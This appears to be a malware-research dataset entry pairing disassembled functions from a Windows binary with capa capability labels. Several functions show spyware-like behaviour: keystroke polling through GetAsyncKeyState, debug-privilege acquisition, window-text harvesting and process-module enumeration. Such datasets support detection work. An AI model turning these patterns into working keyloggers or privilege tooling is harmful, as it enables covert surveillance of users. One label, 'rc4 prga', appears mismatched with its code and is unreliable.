joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400050d0
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x3c8], 0
mov qword [rbp + 0x3d0], 2
mov qword [rbp + 0x3d8], 0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3e8], rax
xor ebx, ebx
xor edi, edi
xor r12d, r12d
cmp r8, 0x201
jae 0x140005170
jmp 0x14000515f
jae 0x140005230
cmp r8, 0x201
jae 0x140005170
mov esi, 0x200
lea r13, [rbp - 0x58]
mov r15, r8
jmp 0x1400051c8
sub r8, r12
sub rdi, r12
cmp rdi, r8
jae 0x14000519f
lea rcx, [rbp + 0x3c8]
mov rdx, r12
call fcn.14002b9f0
mov rbx, qword [rbp + 0x3c8]
mov rax, qword [rbp + 0x3d0]
mov qword [rbp + 0x3e8], rax
mov eax, 0xffffffff
cmp rbx, rax
mov r12d, 0xffffffff
cmovb r12, rbx
mov qword [rbp + 0x3d8], r12
mov rdi, rbx
mov rsi, r12
mov r13, qword [rbp + 0x3e8]
mov r15, r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, r15d
mov rdx, r13
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov r14d, eax
test eax, eax
jne 0x1400051f1
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140005298
mov r8d, r14d
cmp r15, r8
jne 0x140005150
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1400052c5
add r15, r15
mov eax, 0xffffffff
cmp r15, rax
cmovae r15, rax
mov r8, r15
cmp r8, 0x201
jb 0x14000515f
jmp 0x140005170
cmp rsi, r8
jb 0x1400052df
lea rcx, [rbp + 0x3a8]
mov rdx, r13
call fcn.140008100
movups xmm0, xmmword [rbp + 0x3a8]
movups xmm1, xmmword [rbp + 0x3b8]
mov rsi, qword [rbp + 0x3e0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
test rbx, rbx
je 0x140005281
add rbx, rbx
mov r8d, 2
mov rcx, qword [rbp + 0x3e8]
mov rdx, rbx
call fcn.140001ca0
mov rax, rsi
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3e0]
mov qword [rsi + 8], rax
movabs rax, 0x8000000000000000
mov qword [rsi], rax
test rbx, rbx
jne 0x140005269
jmp 0x140005281
lea rcx, str.internal_error:_entered_unreachable_code_rustc_07dca489ac2d933c78d3c5158e3f43beefeb02celibrary_alloc_src_vecmod.rs
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.14002c470
jmp 0x1400052f4
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, rsi
mov r8, rax
call fcn.14002c8c0
ud2
Function at 0x14000c970
Capabilities:
Read file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
mov rcx, qword [rsp + 0xe0]
movups xmm0, xmmword [0x1400596a8]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
test rcx, rcx
je 0x14000c9b4
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x80], rdx
test rcx, rcx
mov qword [rsp + 0x78], rcx
lea rdx, [rsp + 0x80]
cmove rdx, rcx
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtReadFile]
cmp eax, 0x103
jne 0x14000ca13
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0xc0000011
jne 0x14000ca22
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
jmp 0x14000ca5a
cmp eax, 0x103
je 0x14000ca64
test eax, eax
js 0x14000ca3f
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
mov qword [rsi], 0
jmp 0x14000ca5a
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
add rsp, 0xa8
pop rdi
pop rsi
ret
mov dword [rsp + 0x58], 0
mov byte [rsp + 0x5c], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.140007b70
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x70]
call fcn.140003330
mov ecx, 7
int 0x29
ud2
Function at 0x14000cad0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
mov rcx, qword [rsp + 0xe0]
movups xmm0, xmmword [0x1400596a8]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
test rcx, rcx
je 0x14000cb14
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x80], rdx
test rcx, rcx
mov qword [rsp + 0x78], rcx
lea rdx, [rsp + 0x80]
cmove rdx, rcx
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x14000cb7a
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0x103
je 0x14000cbb1
test eax, eax
js 0x14000cb8b
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x14000cba4
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
add rsp, 0xa8
pop rdi
pop rsi
ret
mov dword [rsp + 0x58], 0
mov byte [rsp + 0x5c], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.140007b70
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x70]
call fcn.140003330
mov ecx, 7
int 0x29
ud2
Function at 0x14001b150
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x14001b1ca
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x14001b1c0
cmp r11, r10
ja 0x14001b261
cmp r10, rdx
ja 0x14001b273
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x14001b1c2
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x14001b1a0
jmp 0x14001b237
ja 0x14001b1ca
mov r11, r10
cmp rax, r8
jne 0x14001b172
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x14001b23b
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x14001b210
mov r8, r10
sub ecx, r9d
jns 0x14001b22e
jmp 0x14001b23d
cmp r10, rdx
je 0x14001b249
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x14001b23d
xor al, 1
cmp r8, rdx
jne 0x14001b1f0
jmp 0x14001b23d
xor eax, eax
jmp 0x14001b23d
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, [0x14005bc7b]
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.14002c470
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.14002c940
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.14002c8c0
int3

Function at 0x14001c8d0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001c91a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001c91a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001c91a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001c91a
cmp dword [rcx + 0x84], 0xe
jbe 0x14001c91a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001c91c
xor al, al
add rsp, 0x28
ret

Function at 0x140021114
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140020f10
Function at 0x1400241dc
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14002420c
xor eax, eax
jmp 0x1400242cf
mov rbp, rbx
cmp word [rax], si
je 0x140024231
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140024218
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140024214
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400240fc
movsxd r14, eax
test eax, eax
jne 0x14002426f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140024205
mov rcx, r14
call fcn.1400250b8
mov rdi, rax
test rax, rax
jne 0x140024288
xor ecx, ecx
call fcn.14002275c
jmp 0x140024264
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400240fc
test eax, eax
jne 0x1400242b9
mov rcx, rdi
call fcn.14002275c
jmp 0x1400242c3
xor ecx, ecx
call fcn.14002275c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400277c0
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1400231cc
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14002784a
cmp byte [rbp - 0x21], r15b
je 0x140027845
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140027880
call fcn.1400258c8
test eax, eax
jne 0x14002786c
cmp byte [rbp - 0x21], r15b
je 0x140027864
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140027880
cmp byte [rbp - 0x21], r15b
je 0x14002787d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1400227ac
test eax, eax
jne 0x140027920
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1400231cc
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400278bf
cmp byte [rbp - 0x21], r15b
je 0x1400278f4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400278f4
call fcn.1400258c8
test eax, eax
jne 0x1400278e0
cmp byte [rbp - 0x21], r15b
je 0x1400278d9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400278f4
cmp byte [rbp - 0x21], r15b
je 0x1400278f1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1400227ac
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140027920
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140027923
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140027931
mov rcx, rdi
call fcn.14002275c
cmp byte [rbp + 0x3f], r15b
je 0x140027940
mov rcx, qword [rbp + 0x27]
call fcn.14002275c
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14002a820
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002a848
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14002a848
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x14002165a
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
push rbp
push r15
mov rax, 0x8c
sub rsp, 8
mov qword [rsp], 0
dec rax
jne 0x14002166e
sub rsp, 0x28
call fcn.140044c00
mov rdx, qword [rsp + 0x4a8]
lea rcx, [rsp + 0x28]
sub rsp, 0x10
call fcn.140044c70
add rsp, 0x10
mov dword [0x1400fc001], 0x4000096
mov dword [0x1400fc001], 0x400009a
push qword [rsp + 0x4a0]
push 0x18
pop rcx
pop rdx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x468], rax
mov dword [0x1400fc001], 0x400009b
cmp qword [rsp + 0x468], 0
je 0x140021860
mov dword [0x1400fc001], 0x400009c
lea rbp, [rsp + 0x30]
mov dword [rbp], 0x438
mov dword [0x1400fc001], 0x400009d
lea rax, [rsp + 0x30]
mov rax, rax
push rax
push qword [rsp + 0x470]
pop rcx
pop rdx
call sub.KERNEL32.dll_Module32FirstW
mov qword [rsp + 0x470], rax
mov dword [0x1400fc001], 0x400009e
cmp qword [rsp + 0x470], 0
je 0x140021849
mov dword [0x1400fc001], 0x400009f
push rcx
sub rsp, 0x28
call fcn.1400447e0
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push 1
push 1
push qword [rsp + 0x48]
push rcx
sub rsp, 0x20
call fcn.1400447e0
add rsp, 0x20
pop rcx
push rax
push rcx
sub rsp, 0x28
call fcn.1400447e0
add rsp, 0x28
pop rcx
push rax
lea rbp, [rsp + 0x68]
lea rax, [rbp + 0x30]
mov rax, rax
push rax
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400432f0
add rsp, 0x20
push rax
call fcn.140044a10
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call fcn.140041c80
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140026e70
add rsp, 0x28
pop rax
and rax, rax
je 0x140021807
mov dword [0x1400fc001], 0x40000a0
lea rbp, [rsp + 0x30]
push qword [rbp + 0x18]
pop rax
mov qword [rsp + 0x478], rax
mov dword [0x1400fc001], 0x40000a1
jmp 0x140021849
mov dword [0x1400fc001], 0x40000a2
mov dword [0x1400fc001], 0x40000a3
lea rax, [rsp + 0x30]
mov rax, rax
push rax
push qword [rsp + 0x470]
pop rcx
pop rdx
call sub.KERNEL32.dll_Module32NextW
mov qword [rsp + 0x470], rax
mov dword [0x1400fc001], 0x40000a4
jmp 0x140021729
mov dword [0x1400fc001], 0x40000a5
push qword [rsp + 0x468]
pop rcx
call sub.KERNEL32.dll_CloseHandle
mov dword [0x1400fc001], 0x40000a6
mov dword [0x1400fc001], 0x40000a8
mov rax, qword [rsp + 0x478]
jmp 0x14002188b
push rax
mov rcx, qword [rsp + 0x30]
sub rsp, 0x28
call fcn.140044ce0
add rsp, 0x28
pop rax
add rsp, 0x488
pop r15
pop rbp
ret
Function at 0x140022b90
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push r15
mov rax, 0xa
sub rsp, 8
mov qword [rsp], 0
dec rax
jne 0x140022b9f
sub rsp, 0x28
call fcn.140044c00
mov dword [0x1400fc001], 0x400007f
mov dword [0x1400fc001], 0x4000081
mov qword [rsp + 0x70], 0
mov dword [0x1400fc001], 0x4000083
lea rax, [rsp + 0x40]
mov rax, rax
push rax
pop rcx
call sub.KERNEL32.dll_GetNativeSystemInfo
mov dword [0x1400fc001], 0x4000084
lea rbp, [rsp + 0x40]
movsx r15, word [rbp]
cmp r15, 9
jne 0x140022d07
mov dword [0x1400fc001], 0x4000085
movabs rax, str.IsWow64Process
push rax
movabs rax, str.kernel32.dll
push rax
pop rcx
pop rdx
call fcn.140022a2f
mov qword [rsp + 0x28], rax
mov dword [0x1400fc001], 0x4000086
cmp qword [rsp + 0x28], 0
je 0x140022cfd
mov dword [0x1400fc001], 0x4000087
push qword [rsp + 0x90]
push 0
push 0x400
pop rcx
pop rdx
pop r8
call sub.KERNEL32.dll_OpenProcess
mov qword [rsp + 0x38], rax
mov dword [0x1400fc001], 0x4000088
cmp qword [rsp + 0x38], 0
je 0x140022cf3
mov dword [0x1400fc001], 0x4000089
lea rax, [rsp + 0x30]
mov rax, rax
push rax
push qword [rsp + 0x40]
push qword [rsp + 0x38]
pop rcx
pop rdx
pop r8
call fcn.14002bc1c
mov dword [0x1400fc001], 0x400008a
push qword [rsp + 0x38]
pop rcx
call sub.KERNEL32.dll_CloseHandle
mov dword [0x1400fc001], 0x400008b
mov r15, qword [rsp + 0x30]
and r15, r15
jne 0x140022ce9
mov dword [0x1400fc001], 0x400008c
mov qword [rsp + 0x70], 1
mov dword [0x1400fc001], 0x400008d
mov dword [0x1400fc001], 0x400008e
mov dword [0x1400fc001], 0x400008f
mov dword [0x1400fc001], 0x4000090
mov dword [0x1400fc001], 0x4000092
mov rax, qword [rsp + 0x70]
jmp 0x140022d2f
add rsp, 0x78
pop r15
pop rbp
ret
Function at 0x140022fe5
Capabilities:
Acquire debug privileges

Disassembly:
push rbp
push r15
mov rax, 8
sub rsp, 8
mov qword [rsp], 0
dec rax
jne 0x140022fef
sub rsp, 0x28
call fcn.140044c00
mov dword [0x1400fc001], 0x15c
mov dword [0x1400fc001], 0x15d
mov byte [rsp + 0x28], 0
mov dword [0x1400fc001], 0x15f
lea rax, [rsp + 0x30]
mov rax, rax
push rax
push 0x28
sub rsp, 0x20
call sub.KERNEL32.dll_GetCurrentProcess
add rsp, 0x20
mov rax, rax
push rax
pop rcx
pop rdx
pop r8
call sub.ADVAPI32.DLL_OpenProcessToken
and rax, rax
je 0x140023184
mov dword [0x1400fc001], 0x160
lea rax, [rsp + 0x38]
mov dword [0x1400fc001], 0x162
lea rax, [rsp + 0x38]
mov rax, rax
push rax
movabs rax, str.SeDebugPrivilege
push rax
push 0
pop rcx
pop rdx
pop r8
call sub.ADVAPI32.DLL_LookupPrivilegeValueW
and rax, rax
je 0x140023166
mov dword [0x1400fc001], 0x163
lea rax, [rsp + 0x40]
mov dword [0x1400fc001], 0x166
lea rbp, [rsp + 0x40]
mov dword [rbp], 1
mov dword [0x1400fc001], 0x167
lea rbp, [rsp + 0x38]
movsxd rax, dword [rbp]
push rax
lea rbp, [rsp + 0x48]
push rbp
pop rbp
pop rax
mov dword [rbp + 4], eax
mov dword [0x1400fc001], 0x168
lea rbp, [rsp + 0x38]
movsxd rax, dword [rbp + 4]
push rax
lea rbp, [rsp + 0x48]
push rbp
pop rbp
pop rax
mov dword [rbp + 8], eax
mov dword [0x1400fc001], 0x169
push rbp
pop rbp
mov dword [rbp + 0xc], 2
mov dword [0x1400fc001], 0x16b
lea rax, [rsp + 0x60]
mov rax, rax
push rax
lea rax, [rsp + 0x58]
mov rax, rax
push rax
push 0x10
lea rax, [rsp + 0x58]
mov rax, rax
push rax
push 0
push qword [rsp + 0x58]
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call sub.ADVAPI32.DLL_AdjustTokenPrivileges
add rsp, 0x30
mov rax, rax
push rax
pop rax
mov byte [rsp + 0x28], al
mov dword [0x1400fc001], 0x16c
mov dword [0x1400fc001], 0x16d
push qword [rsp + 0x30]
pop rcx
call sub.KERNEL32.dll_CloseHandle
mov dword [0x1400fc001], 0x16e
mov dword [0x1400fc001], 0x16f
movsx rax, byte [rsp + 0x28]
movsx rax, al
jmp 0x1400231b1
add rsp, 0x68
pop r15
pop rbp
ret

Function at 0x14002413a
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rcx
push r15
xor rax, rax
push rax
sub rsp, 0x28
call fcn.140044c00
mov dword [0x1400fc001], 0x100002b
mov dword [0x1400fc001], 0x100002c
push qword [rsp + 0x40]
pop rcx
call sub.USER32.DLL_GetAsyncKeyState
mov r15, rax
and r15, 0x8000
and r15, r15
je 0x14002418e
mov dword [0x1400fc001], 0x100002d
mov rax, 1
jmp 0x1400241a5
mov dword [0x1400fc001], 0x100002e
mov dword [0x1400fc001], 0x100002f
xor rax, rax
add rsp, 0x30
pop r15
ret
Function at 0x14002443b
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rcx
push r15
xor rax, rax
push rax
push rax
push rax
sub rsp, 0x28
call fcn.140044c00
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x28]
sub rsp, 0x10
call fcn.140044c70
add rsp, 0x10
mov dword [0x1400fc001], 0x37e
mov dword [0x1400fc001], 0x380
push 5
sub rsp, 8
sub rsp, 0x20
call sub.USER32.DLL_GetDesktopWindow
add rsp, 0x28
mov rax, rax
push rax
pop rcx
pop rdx
call sub.USER32.DLL_GetWindow
mov qword [rsp + 0x30], rax
mov dword [0x1400fc001], 0x381
cmp qword [rsp + 0x30], 0
je 0x140024663
mov dword [0x1400fc001], 0x382
push rcx
sub rsp, 0x28
call fcn.1400447e0
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400447e0
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push qword [rsp + 0x50]
pop rcx
sub rsp, 0x20
call sub.USER32.DLL_GetWindowTextLengthW
add rsp, 0x28
mov r15, rax
add r15, 2
mov rax, r15
push rax
pop rcx
pop rdx
sub rsp, 0x20
call fcn.140042b70
add rsp, 0x28
lea rcx, [rsp + 0x40]
pop rdx
call fcn.1400448a0
mov dword [0x1400fc001], 0x383
push qword [rsp + 0x38]
pop rcx
call fcn.140041d10
mov rax, rax
push rax
push qword [rsp + 0x40]
push qword [rsp + 0x40]
pop rcx
pop rdx
pop r8
call sub.USER32.DLL_GetWindowTextW
mov dword [0x1400fc001], 0x384
push rcx
sub rsp, 0x28
call fcn.1400447e0
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400447e0
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400447e0
add rsp, 0x28
pop rcx
push rax
push qword [rsp + 0x50]
pop rcx
pop rdx
sub rsp, 0x20
call fcn.140042cc0
add rsp, 0x28
call fcn.140044b30
push rcx
sub rsp, 0x20
call fcn.1400447e0
add rsp, 0x20
pop rcx
push rax
push rcx
sub rsp, 0x28
call fcn.1400447e0
add rsp, 0x28
pop rcx
push rax
push qword [rsp + 0x60]
pop rcx
pop rdx
sub rsp, 0x20
call fcn.140042cc0
add rsp, 0x20
push rax
call fcn.140044a10
mov rdx, rax
pop rax
add qword [rsp], rdx
push rax
call fcn.140044a10
mov rdx, rax
pop rax
add qword [rsp + 8], rdx
pop rcx
pop rdx
sub rsp, 0x20
call fcn.140041b80
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.140026e70
add rsp, 0x28
pop rax
and rax, rax
je 0x14002462b
mov dword [0x1400fc001], 0x385
mov rax, 1
jmp 0x14002467f
mov dword [0x1400fc001], 0x386
mov dword [0x1400fc001], 0x387
push 2
push qword [rsp + 0x38]
pop rcx
pop rdx
call sub.USER32.DLL_GetWindow
mov qword [rsp + 0x30], rax
mov dword [0x1400fc001], 0x388
jmp 0x1400244a2
mov dword [0x1400fc001], 0x389
xor rax, rax
jmp 0x14002467f
push rax
mov rcx, qword [rsp + 0x30]
sub rsp, 0x28
call fcn.140044ce0
add rsp, 0x28
mov rcx, qword [rsp + 0x40]
sub rsp, 0x28
call fcn.140044ce0
add rsp, 0x28
pop rax
add rsp, 0x40
pop r15
ret